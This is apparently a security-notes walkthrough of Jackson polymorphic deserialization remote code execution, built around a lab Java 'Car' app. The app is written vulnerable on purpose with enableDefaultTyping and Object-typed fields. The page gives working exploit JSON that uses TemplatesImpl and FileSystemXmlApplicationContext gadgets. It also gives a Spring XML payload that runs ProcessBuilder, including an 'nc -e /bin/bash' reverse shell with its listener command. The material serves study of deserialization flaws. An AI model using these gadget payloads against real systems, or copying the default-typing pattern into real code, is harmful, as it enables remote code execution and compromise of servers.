Skip to content

Java Deserializer (example 2)

Jackson Deserialization Vulnerability


Jackson is a Java library which allow to serialize POJO (Plain Old Java Objects) to JSON and deserialize JSON to POJO. It is possible to exploit a vulnerability by leveraging the Polymorphic Type Handling.

Code version 1


App.java

package com.michalszalkowski;

import java.io.File;
import com.fasterxml.jackson.databind.ObjectMapper;

public class App {

    public static void main(String[] args) throws Exception {

        if(args[0].equals("serialize")) {
            serializeObject();
        }

        if(args[0].equals("deserialize")) {
            deserializeObject(args[1]);
        }
    }

    private static void serializeObject() throws Exception {


        ElectricEngine engine = new ElectricEngine(1,2,3); 

        FuelEngine engine2 = new FuelEngine(1,2,3);

        Car car = new Car(
            "yellow", 
            "fiat", 
            engine,
            engine2
        );

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.writeValue(new File("car.json"), car);
    }

    private static void deserializeObject(String file) throws Exception {

        ObjectMapper objectMapper = new ObjectMapper();

        Car newCar = objectMapper.readValue(new File(file), Car.class);
        System.out.println("Car = " +  newCar);
    }
}

Car.java

package com.michalszalkowski;

public class Car {

    public Engine engine;
    public Engine secEngine;
    public String color;
    public String model;

    public Car() {}

    public Car(String color, String model, Engine eng1, Engine eng2) {
        this.color = color;
        this.model = model;
        this.engine = eng1;
        this.secEngine = eng2;
    }

    public String toString() {
        return String.format("Car color=%s model=%s engine1=%s engine2=%s", color, model, engine, secEngine);
    }
}


abstract class Engine{
    public int engineModel;
    public int cc;
}

ElectricEngine.java

package com.michalszalkowski;

public class ElectricEngine extends Engine{

    public int maxEnergy;

    public ElectricEngine(){}

    public ElectricEngine(int maxEnergy, int engineModel, int cc) {
         this.maxEnergy = maxEnergy;
         this.engineModel = engineModel;
         this.cc = cc;
    }
    public String toString() {
        return "ElectricEngine";
    }
}

FuelEngine.java

package com.michalszalkowski;

public class FuelEngine extends Engine {

    public int fuel;

    public FuelEngine(){}

    public FuelEngine(int fuel, int engineModel, int cc) {
        this.fuel = fuel;
        this.engineModel = engineModel;
        this.cc = cc;
   }
    public String toString() {
        return "FuelEngine";
    }
}

do.sh

mvn clean install
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "serialize"
cat car.json | jq
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "car.json"

expected error

because Jackson can not create an instance of an abstract type and it does not know which concrete object should be create.

Code version 2


Let see some dangerous example:

App.java

package com.michalszalkowski;

import java.io.File;
import com.fasterxml.jackson.databind.ObjectMapper;

public class App {

    public static void main(String[] args) throws Exception {

        if(args[0].equals("serialize")) {
            serializeObject();
        }

        if(args[0].equals("deserialize")) {
            deserializeObject(args[1]);
        }
    }

    private static void serializeObject() throws Exception {


        ElectricEngine engine = new ElectricEngine(1,2,3); 

        FuelEngine engine2 = new FuelEngine(1,2,3);

        Car car = new Car(
            "yellow", 
            "fiat", 
            engine,
            engine2
        );

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping(); // <----------
        objectMapper.writeValue(new File("car.json"), car);
    }

    private static void deserializeObject(String file) throws Exception {

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();; // <----------

        Car newCar = objectMapper.readValue(new File(file), Car.class);
        System.out.println("Car = " +  newCar);
    }
}

Car.java

package com.michalszalkowski;

public class Car {

    public Object engine;    // <----------
    public Object secEngine; // <----------
    public String color;
    public String model;

    public Car() {}

    public Car(String color, String model, Engine eng1, Engine eng2) {
        this.color = color;
        this.model = model;
        this.engine = eng1;
        this.secEngine = eng2;
    }

    public String toString() {
        return String.format("Car color=%s model=%s engine1=%s engine2=%s", color, model, engine, secEngine);
    }
}


abstract class Engine{
    public int engineModel;
    public int cc;
}

do.sh

mvn clean install
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "serialize"
cat car.json | jq
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "car.json"

no error - We get a new instance of Car class and engine and secEngine are correctly interpreted.

cat.json

Attack


Now we modify the JSON and we add a gadget as Engine property:

exploit1.json

{
   "engine":[
      "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
      {
         "transletBytecodes":[
            "*BYTECODESHERE*"
         ],
         "transletName":"a.b",
         "outputProperties":{

         }
      }
   ],
   "secEngine":[
      "com.michalszalkowski.FuelEngine",
      {
         "engineModel": 2,
         "cc": 3,
         "fuel": 1
      }
   ],
   "color": "yellow",
   "model": "fiat"
}

mvn clean install
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "exploit1.json"

We get some errors but it is possible to notice that Jackson tries instantiating a TemplatesImpl object!

This is due to to:

  1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is inside Java Classpath
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is subtype of java.lang.Object

Jackson raises an error where we can read "Invalid type id 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' (for id type 'Id.class'): Class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is not assignable to Jackson.JacksonDemo.Engine (through reference chain: Jackson.JacksonDemo.Car["secEngine"])", because TemplatesImpl is not a subtype of Engine

How can an attacker exploit this vulnerability?

It's obvious that be able to instantiate an object different from the expected one offers many opportunities for attacks. Even if there are limits to overcome:

  1. In order to mitigate this issue, recent versions of Jackson blacklist many potential dangerous objects.
  2. The getter and the setter of the gadget should call some methods useful for the attack.

Let see some gadgets working on Jackson 2.6.2:

🔥 OPEN APP - org.springframework.context.support.FileSystemXmlApplicationContext

FileSystemXmlApplicationContext is a class which reads XML Spring configuration from the file path.

exploit2.json

{
   "engine":[
      "org.springframework.context.support.FileSystemXmlApplicationContext",
      "http://127.0.0.1:8080/spel.xml"
   ],
   "secEngine":[
      "com.michalszalkowski.FuelEngine",
      {
         "engineModel":0,
         "cc":0,
         "fuel":200
      }
   ],
   "color":null,
   "model":null
}

We try to instantiate a FileSystemXMLApplicationContext which reads the spel.xml file from the localhost. The spel.xml is:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <array>
                <value>mousepad</value>
            </array>
        </constructor-arg>
        <property name="whatever" value="#{ pb.start() }"/>
    </bean>
</beans>
python3 -m http.server 8080
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "exploit2.json"

🔥 RCE - org.springframework.context.support.FileSystemXmlApplicationContext

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <array>
                <value>nc</value>
                <value>127.0.0.1</value>
                <value>4444</value>
                <value>-e</value>
                <value>/bin/bash</value>
            </array>
        </constructor-arg>
        <property name="whatever" value="#{ pb.start() }"/>
    </bean>
</beans>
nc -lnvp 4444
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "exploit2.json"

Other Files


pom.xml

<project
    xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>jackson.rce</groupId>
    <artifactId>jackson-rce</artifactId>
    <packaging>jar</packaging>
    <version>1.0</version>
    <name>jackson-rce</name>
    <url>http://maven.apache.org</url>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.release>8</maven.compiler.release>
    </properties>

  <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.6.1</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>5.0.2.RELEASE</version>
        </dependency>

        <dependency>
            <groupId>ch.qos.logback</groupId>
            <artifactId>logback-core</artifactId>
            <version>1.2.3</version>
        </dependency>

        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>xalan</groupId>
            <artifactId>xalan</artifactId>
            <version>2.7.2</version>
        </dependency>

    </dependencies>

  <build>
        <plugins>
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <classpathPrefix>lib/</classpathPrefix>
                            <mainClass>com.michalszalkowski.App</mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

Source


  • https://github.com/lorenzodegiorgi/jackson-vulnerability/tree/master